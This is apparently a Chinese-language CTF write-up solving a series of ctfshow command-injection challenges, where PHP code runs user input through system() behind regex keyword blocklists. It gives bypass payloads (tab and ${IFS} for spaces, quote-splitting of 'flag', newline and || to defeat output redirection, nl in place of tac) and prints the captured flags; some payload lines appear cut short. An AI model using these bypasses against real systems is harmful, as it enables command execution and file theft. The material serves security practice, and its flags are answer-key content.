目录
- if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
- system($c." >/dev/null 2>&1");
- }
emm,这里过滤了很多用不上的东西,直接%09绕过空格,引号绕过flag%0a绕过后面的重定向就可以
知识点:%09和%0a不算数字所以过滤[0-9]没有影响的
?c=tac%09fl""ag.php||
?c=tac%09fl""ag.php%0a
ctfshow{d4152ec2-7b1b-48f4-9822-706bea5ddef6}
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
这道题过滤了百分号,但是仍然可以用前面的方法,跟%09不是数字一样,也可以用<绕过空格,引号绕过flag,||绕过重定向
知识点:||运算前面成功则不执行后面
?c=tac
?c=tac%09fl""ag.php%0a
ctfshow{f9e25313-a058-40ce-86bc-86d980db1303}
代码分析:
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)
这题过滤了X09其实就是把%09过滤了,但是问题不大直接小于号绕过
?c=tac
?c=tac
ctfshow{f6423ca9-8937-46c2-b232-fe172f434014}
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c))
把tac过滤了,可以使用nl替换,我还是喜欢tac,nl内容要用F12查看源代码,不如tac来的方便
?c=nl
ctfshow{ba1d21a6-bcd4-4ece-a281-fb18d757dbb8}
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\, $c)
这题过滤了<,但是把$放出来了,尝试用了一下$IFS$1不行,感觉很奇怪后来才注意到数字给过滤了,那可以尝试一下${IFS}
?c=nl${IFS}fl""ag.php||
看是看到了但是没有flag啊,到这我就懵逼了,查了大佬的题解发现这个flag.php是假的,真正的flag在别的地方
ls看一下
ls${IFS}/看一下上层目录
发现上层目录中有个flag
nl一下看看
nl${IFS}/fl""ag||
ctfshow{efe850f1-7eac-44ce-897f-b5c1d0509d5b}